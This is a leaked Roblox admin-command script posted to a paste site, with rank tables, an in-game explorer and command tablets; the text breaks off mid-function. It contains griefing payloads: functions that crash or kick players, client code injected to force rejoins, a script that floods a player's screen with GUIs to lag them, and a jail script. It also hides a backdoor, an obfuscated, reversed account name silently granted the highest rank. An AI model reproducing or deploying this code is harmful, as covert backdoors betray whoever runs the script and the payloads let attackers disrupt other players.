Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --LOLOLOLOLLOLOLOL YOUR SCRIPT GOT LOGGED BB
- ---PROTECT YOUR SHT DUDE
- ----LEAKED BY ADMINTABS
- Plrs = game:GetService("Players")
- Work = game:GetService("Workspace")
- Light = game:GetService("Lighting")
- Net = game:GetService("NetworkServer")
- Owner = "DevR0BLOX" -- Change this to your name
- AntiSteal = false
- Removed = false
- Bet = "!" -- Suffix of the commands you use
- LS = nil
- LSSource = nil
- OwnSource = nil
- AntiSource = nil
- FoundLocalScript = false
- TryOn = false
- LogOn = false
- Current = game
- Clipboard = {}
- AlertColor = Color3.new(0, 1, 1)
- OptionColor = Color3.new(1, 1, 1)
- ImportantColor = Color3.new(1, 0, 1)
- RankDetails = {
- [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
- [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
- [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
- [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
- [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
- [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
- [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
- [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
- [5] = {Name = "HCWARLORD", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
- }
- Rankings = {
- {Name = "TORNADO11191", Rank = 5},
- {Name = "Player1", Rank = 3},
- {Name = "ByteDino", Rank = -1},
- {Name = "DarthStrantax", Rank = -1},
- {Name = "supersonicfan11", Rank = -1},
- {Name = "Om3gaPr0", Rank = -1},
- {Name = "DevR0BLOX", Rank =10},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},5
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- {Name = "", Rank = 3},
- }
- table.insert(Rankings, {Name = Owner, Rank = 5})
- ImportantServices = {
- "Workspace",
- "Players",
- "NetworkServer",
- "Lighting",
- "StarterGui",
- "Teams",
- "StarterPack",
- }
- Ranks = {10}
- Commands = {}
- AllTabs = {}
- Injected = {}
- Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
- "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
- "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
- "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
- "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
- "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
- "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
- "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
- "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
- "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
- "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
- "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
- "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
- "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
- "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
- "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
- "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
- "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
- "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
- "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
- "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
- "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
- "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
- "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
- "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
- "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
- "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
- "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
- "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
- "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
- "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
- "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
- "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
- "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
- "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
- "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
- "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
- "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
- "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
- "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
- "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
- "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
- "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
- "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
- "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
- "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
- "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
- "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
- "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
- "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
- "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
- "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
- "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
- "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
- "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
- "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
- "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
- "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
- "X","Y"}
- --Main Functions And Sources
- function Insert(Source, Par, Par2, Par3)
- ypcall(function()
- local Inserted = LS:Clone()
- Inserted.Disabled = true
- Inserted.Parent = Par or Par2 or Par3
- Inserted[LSSource].Value = Source
- Inserted.Disabled = false
- end)
- end
- function CheckImportant(Name)
- for _,v in pairs(ImportantServices) do
- if v:lower() == Name:lower() then
- return true
- end
- end
- return false
- end
- function Crash1(Plr)
- ypcall(function()
- Plr:Kick()
- end)
- end
- function GetRankTab()
- return Rankings
- end
- function Crash2(Name)
- local Crasher = Instance.new("StringValue")
- Crasher.Name = "Client"
- Crasher.Value = string.lower(tostring(Name))
- Crasher.Parent = game:GetService("Lighting")
- wait(1)
- if Crasher and Crasher.Parent then
- ypcall(function()
- Crasher:Destroy()
- end)
- end
- end
- function Crash3(v, Speaker)
- Speaker.Character.Archivable = true
- local NChar = Speaker.Character:Clone()
- NChar.Name = v.Name
- NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
- NChar.Parent = Workspace
- v.Character = NChar
- coroutine.resume(coroutine.create(function()
- repeat v.Character = NChar
- wait(1/3) until false
- end))
- wait(.5)
- Insert(InsertCrash, NChar, nil, nil)
- end
- function GenerateDigit()
- return 1 + 5
- end
- InjectionCrash = [=[
- wait(0)
- script.Parent = nil
- local Lig = game:GetService("Lighting")
- local LP = game:GetService("Players").LocalPlayer
- local LowerName = LP.Name:lower()
- Lig.ChildAdded:connect(function(Obj)
- if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
- pcall(function()
- Obj:Destroy()
- end)
- LP.Parent = nil
- LP.Parent = game:GetService("Players")
- end
- end)
- ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
- InsertCrash = [==[
- local LP = game:GetService("Players").LocalPlayer
- LP.Parent = nil
- LP.Parent = game:GetService("Players")
- ]==]
- LagSource = [==[
- wait(0)
- script.Parent = nil
- plr = game:GetService("Players").LocalPlayer
- local plrgui = plr:findFirstChild("PlayerGui")
- if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
- while plr.Parent == game:GetService("Players") do
- wait()
- for i = 1, 1000 do
- local sc = Instance.new("ScreenGui",plrgui)
- local fr = Instance.new("TextLabel",sc)
- fr.Text = "LAGGING"
- fr.Size = UDim2.new(1, 0, 1, 0)
- fr.FontSize = "Size48"
- end
- end
- ]==]
- MuteSource = [==[
- game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
- ]==]
- UnMuteSource = [==[
- game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
- ]==]
- JailSource = [==[
- wait(0)
- script.Parent = nil
- local LP = game:GetService("Players").LocalPlayer
- Middle2 = nil
- Middle = nil
- game:GetService("Workspace").CurrentCamera:ClearAllChildren()
- Cons = {}
- function makePrison()
- for _,v in pairs(Cons) do
- v:disconnect()
- end
- game:GetService("Workspace").CurrentCamera:ClearAllChildren()
- if Middle == nil then
- Middle2 = LP.Character.Torso.Position
- Middle = LP.Character.Torso.CFrame
- end
- local side1 = Instance.new("Part",Workspace)
- side1.Name = "¬Focus1¬"
- side1.Size = Vector3.new(20, 50, 1)
- side1.CFrame = Middle * CFrame.new(0, 0, -10)
- side1.BrickColor = BrickColor.new("Really black")
- side1.CanCollide = true
- side1.Anchored = true
- side1.TopSurface = "Smooth"
- side1.BottomSurface = "Smooth"
- side1.Parent = game:GetService("Workspace").CurrentCamera
- local side2 = Instance.new("Part")
- side2.Name = "¬Focus2¬"
- side2.Size = Vector3.new(20, 50, 1)
- side2.CFrame = Middle * CFrame.new(0, 0, 10)
- side2.BrickColor = BrickColor.new("Really black")
- side2.CanCollide = true
- side2.Anchored = true
- side2.TopSurface = "Smooth"
- side2.BottomSurface = "Smooth"
- side2.Parent = game:GetService("Workspace").CurrentCamera
- local side3 = Instance.new("Part")
- side3.Name = "¬Focus3¬"
- side3.Size = Vector3.new(1, 50, 20)
- side3.CFrame = Middle * CFrame.new(10, 0, 0)
- side3.BrickColor = BrickColor.new("Really black")
- side3.CanCollide = true
- side3.Anchored = true
- side3.TopSurface = "Smooth"
- side3.BottomSurface = "Smooth"
- side3.Parent = game:GetService("Workspace").CurrentCamera
- local side4 = Instance.new("Part")
- side4.Name = "¬Focus4¬"
- side4.Size = Vector3.new(1, 50, 20)
- side4.CFrame = Middle * CFrame.new(-10, 0, 0)
- side4.BrickColor = BrickColor.new("Really black")
- side4.CanCollide = true
- side4.Anchored = true
- side4.TopSurface = "Smooth"
- side4.BottomSurface = "Smooth"
- side4.Parent = game:GetService("Workspace").CurrentCamera
- local side5 = Instance.new("Part")
- side5.Name = "¬Focus5¬"
- side5.Size = Vector3.new(20, 1, 20)
- side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
- side5.BrickColor = BrickColor.new("Really black")
- side5.CanCollide = true
- side5.Anchored = true
- side5.TopSurface = "Smooth"
- side5.BottomSurface = "Smooth"
- side5.Parent = game:GetService("Workspace").CurrentCamera
- wait(0)
- table.insert(Cons, side1.Changed:connect(makePrison))
- table.insert(Cons, side2.Changed:connect(makePrison))
- table.insert(Cons, side3.Changed:connect(makePrison))
- table.insert(Cons, side4.Changed:connect(makePrison))
- table.insert(Cons, side5.Changed:connect(makePrison))
- end
- Delay(0, function()
- while wait(0) do
- ypcall(function()
- if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
- LP.Character:BreakJoints()
- elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
- makePrison()
- end
- end)
- ypcall(function()
- if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
- LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
- end
- end)
- end
- end)
- ]==]
- function All()
- local AllPlayers = {}
- for _,v in pairs(Plrs:GetPlayers()) do
- ypcall(function()
- table.insert(AllPlayers, v)
- end)
- end
- return AllPlayers
- end
- function All2()
- local AllPlayers2 = {}
- for i,v in pairs(Net:GetChildren()) do
- ypcall(function()
- if v:IsA("ServerReplicator") then
- table.insert(AllPlayers2, v:GetPlayer())
- end
- end)
- end
- return AllPlayers2
- end
- function MakeNum()
- return 2 + 4
- end
- function ChangeRank(Plr, NewRank)
- local PlrName = nil
- local FoundPlayer = false
- ypcall(function()
- if type(Plr) == "string" then
- ypcall(function()
- for i,v in pairs(Rankings) do
- if v.Name:lower() == Plr:lower() then
- local VName = v.Name
- Rankings[i] = nil
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- PlrName = VName
- FoundPlayer = true
- break
- end
- end
- end)
- if FoundPlayer == false then
- ypcall(function()
- for _,x in pairs(All()) do
- if x.Name:lower() == Plr:lower() then
- FoundPlayer = true
- for i,v in pairs(Rankings) do
- if v.Name:lower() == x.Name:lower() then
- local VName = x.Name
- Rankings[i] = nil
- PlrName = VName
- break
- end
- end
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- end
- end
- end)
- end
- if FoundPlayer == false then
- ypcall(function()
- for _,x in pairs(All()) do
- if string.find(x.Name:lower(), Plr:lower()) then
- FoundPlayer = true
- for i,v in pairs(Rankings) do
- if v.Name:lower() == x.Name:lower() then
- local VName = x.Name
- Rankings[i] = nil
- PlrName = VName
- break
- end
- end
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- end
- end
- end)
- end
- if FoundPlayer == false then
- ypcall(function()
- for i,v in pairs(Rankings) do
- if string.find(v.Name:lower(), Plr:lower()) then
- local VName = v.Name
- Rankings[i] = nil
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- PlrName = VName
- FoundPlayer = true
- break
- end
- end
- end)
- end
- else
- for i,v in pairs(Rankings) do
- if v.Name:lower() == Plr.Name:lower() then
- Rankings[i] = nil
- break
- end
- end
- table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
- PlrName = Plr.Name
- end
- PlaceAllRanks(true)
- end)
- if PlrName ~= nil then
- return PlrName
- else
- return "Player" -- Actually return this script casue it suks
- end
- end
- function Refresh(Plr)
- MakeChildren(Plr)
- end
- function MakeChildren(Plr)
- ypcall(function()
- Dismiss(Plr)
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["LORD Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end)
- elseif Plrs:GetPlayerFromCharacter(v) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["LORD Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- elseif CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["LORD Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, ImportantColor)
- end
- end)
- end
- if Current ~= game then
- Ping("Back", Plr, nil, function()
- ypcall(function()
- Current = Current.Parent
- MakeChildren(Plr)
- Ping("You Are Back To "..Current.Name, Plr, 5)
- end)
- end, OptionColor)
- end
- if Current ~= game then
- Ping("Delete", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Destroy()
- Current = CurrPar
- MakeChildren(Plr)
- Ping("Attempted To Delete "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- end
- Ping("Refresh", Plr, nil, function()
- ypcall(function()
- Refresh(Plr)
- Ping("Refreshed", Plr, 5)
- end)
- end, OptionColor)
- Ping("Properties", Plr, nil, function()
- ypcall(function()
- Dismiss(Plr)
- for Property, Value in pairs(GetProperties(Current)) do
- Ping(tostring(Property)..": "..tostring(Value), Plr)
- end
- Ping("Got All Available Properties", Plr, 5)
- Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
- end)
- end, OptionColor)
- end)
- end
- function Fixl()
- Light.GlobalShadows = true
- Light.TimeOfDay = "14:00:00"
- Light.Brightness = 0.5
- Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
- Light.Ambient = Color3.new(1, 1, 1)
- Light.ColorShift_Top = Color3.new(0, 0, 0)
- Light.ColorShift_Bottom = Color3.new(0, 0, 0)
- Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
- Light.FogStart = 0
- Light.FogEnd = 100000
- Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
- Light:ClearAllChildren()
- end
- function GetProperties(obj)
- assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
- local objProper = {}
- for i,v in pairs(Properties) do
- if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
- objProper[v] = obj[v]
- end
- end
- return objProper
- end
- function MakeExplorer(Plr)
- Dismiss(Plr)
- Current = game
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["LORD Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end)
- elseif Plrs:GetPlayerFromCharacter(v) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["LORD Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- elseif CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["LORD Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, ImportantColor)
- end
- end)
- end
- if Current ~= game then
- Ping("Back", Plr, nil, function()
- ypcall(function()
- Current = Current.Parent
- MakeChildren(Plr)
- Ping("Back In "..Current.Name, Plr, 5)
- end)
- end, OptionColor)
- end
- if Current ~= game and game:GetService(Current.Name) == nil then
- Ping("Delete", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Destroy()
- Current = CurrPar
- MakeChildren(Plr)
- Ping("Attempted To Delete "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- end
- Ping("Refresh", Plr, nil, function()
- ypcall(function()
- Refresh(Plr)
- Ping("Refreshed", Plr, 5)
- end)
- end, OptionColor)
- Ping("Properties", Plr, nil, function()
- ypcall(function()
- Dismiss(Plr)
- for Property, Value in pairs(GetProperties(Current)) do
- Ping(tostring(Property)..": "..tostring(Value), Plr)
- end
- Ping("Got All Available Properties", Plr, 5)
- Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
- end)
- end, OptionColor)
- end
- function GetRank(Plr1, Test)
- ypcall(function()
- if type(Plr1) == "userdata" then
- Plr1 = Plr1.Name
- end
- end)
- if Ranks[Plr1] ~= nil then
- return Ranks[Plr1]
- end
- local QuickArray = {}
- QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- return QuickArray[Plr1]
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
- function CanRun(Plr1, Plr2)
- Details1 = GetRank(Plr1.Name)
- Details2 = GetRank(Plr2.Name)
- if Details1.Rank >= Details2.Rank then
- return true
- end
- return false
- end
- function Dismiss(Plr, Identity)
- ypcall(function()
- if Plr ~= nil then
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- for x,v in pairs(AllTabs) do
- ypcall(function()
- if v.Plr == Plr then
- if Identity ~= nil and v.ID ~= Identity then
- return
- elseif Identity ~= nil and v.ID == Identity then
- coroutine.resume(coroutine.create(function()
- for i = 0.5, 1, 0.1 do
- wait()
- v.Tab.Transparency = i
- v.Sel.Transparency = i
- v.Label.TextTransparency = i
- v.Label.TextStrokeTransparency = i
- end
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[x] = nil
- end))
- elseif Identity == nil then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[x] = nil
- end
- end
- end)
- end
- else
- for i,v in pairs(AllTabs) do
- ypcall(function()
- v.Holder:Destroy()
- AllTabs[i] = nil
- end)
- end
- end
- end)
- end
- function GetGarbage()
- return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
- end
- function RemObj(Obj, Class)
- ypcall(function()
- if #Obj:GetChildren() > 0 then
- for _,x in pairs(Obj:GetChildren()) do
- ypcall(function()
- RemObj(x, Class)
- end)
- end
- end
- if Obj.ClassName == Class then
- Obj:Destroy()
- end
- end)
- end
- function FindTab(Mod)
- for i,v in pairs(AllTabs) do
- if v.Holder == Mod then
- return true
- end
- end
- return false
- end
- function Ping(Msg, Plr, Time, Func, Color, Image)
- if Removed == false then
- local ShowGarbage = false
- ypcall(function()
- if Msg == nil then
- Msg = "N/A"
- elseif Msg == "ShowGarbage" then
- Msg = "Current Garbage Count: "..GetGarbage()
- ShowGarbage = true
- else
- Msg = tostring(Msg)
- end
- if Plr == nil then
- Plr = Plrs[Owner] or error("No Player Found")
- elseif type(Plr) == "string" then
- local FoundPlr = false
- for _,v in pairs(All()) do
- if v.Name == Plr then
- Plr = v
- FoundPlr = true
- break
- end
- end
- if FoundPlr == false then
- Plr = Plrs[Owner] or error("No Player Found")
- end
- end
- if Color == nil then
- Color = GetRank(Plr.Name).Color
- end
- local Holder = Instance.new("Model")
- Holder.Name = "LORD Holder: "..Plr.Name
- local Tab = Instance.new("Part")
- Tab.Name = "LORD Tablet"
- Tab.FormFactor = "Custom"
- Tab.Anchored = true
- if Time == nil then
- Tab.Color = Color
- else
- Tab.Color = AlertColor
- end
- Tab.CanCollide = false
- Tab.Locked = true
- Tab.Transparency = 0.15
- Tab.Size = Vector3.new(2, 2, 0.01)
- Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
- Tab.Parent = Holder
- local ID = Instance.new("NumberValue")
- ID.Name = "ID"
- ID.Value = math.random(-999999999, 999999999)
- ID.Parent = Holder
- Delay(0, function()
- while wait() do
- if Tab.Parent == nil and FindTab(Holder) then
- ypcall(function()
- for i,v in pairs(AllTabs) do
- if v.Holder == Holder then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[i] = nil
- end
- end
- end)
- Ping(Msg, Plr, Time, Func, Color, Image)
- break
- end
- end
- end)
- local BM = Instance.new("BlockMesh")
- BM.Parent = Tab
- Sel = Instance.new("SelectionBox")
- Sel.Color = BrickColor.new("Blue")
- Sel.Transparency = 0.75
- Sel.Adornee = Tab
- Sel.Parent = Tab
- local BG = Instance.new("BillboardGui")
- BG.Name = "BG"
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- BG.Size = UDim2.new(0,1,0,1)
- BG.Adornee = Tab
- BG.Parent = Tab
- Delay(0, function()
- while BG.Parent ~= nil do wait()
- ypcall(function()
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- end)
- end
- end)
- local TL = Instance.new("TextLabel")
- TL.Name = "TL"
- TL.FontSize = "Size18"
- TL.Font = "Arial"
- TL.Text = Msg
- TL.TextColor3 = Color3.new(1, 0, 0)
- TL.Size = UDim2.new(0,1,0,1)
- TL.TextTransparency = 0
- TL.TextStrokeColor3 = Color3.new(0, 0, 0)
- TL.TextStrokeTransparency = 0.25
- TL.Parent = BG
- if ShowGarbage == true then
- Delay(0, function()
- while TL.Parent ~= nil do
- TL.Text = "Current Garbage Count: "..GetGarbage()
- wait(.5)
- end
- end)
- end
- local PL = Instance.new("PointLight", Tab)
- PL.Color = Color3.new(1, 0, 1)
- PL.Range = 10
- PL.Parent = Tab
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = Tab
- BBBG.Parent = Tab
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- local Clicker = Instance.new("ClickDetector")
- Clicker.MaxActivationDistance = 1/0
- if Time ~= nil then
- coroutine.resume(coroutine.create(function()
- wait(tonumber(Time))
- Dismiss(Plr, ID)
- end))
- end
- Clicker.MouseClick:connect(function(Player)
- if Player.Name == Plr.Name or CanRun(Player, Plr) then
- ypcall(function()
- if Func ~= nil then
- Func(Holder)
- else
- Dismiss(Player, ID)
- end
- end)
- end
- end)
- Clicker.Parent = Tab
- Holder.Parent = Work
- AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
- end)
- end
- end
- function PlaceAllRanks(DontShowRank)
- ypcall(function()
- for _,p in pairs(All()) do
- ypcall(function()
- PutInRank = false
- for _,v in pairs(Rankings) do
- if v.Name:lower() == p.Name:lower() then
- if v.Rank >= 7 then
- v.Rank = 5
- elseif v.Rank == -1 then
- Crash1(p)
- Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- elseif v.Rank == -2 then
- if LS ~= nil then
- Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
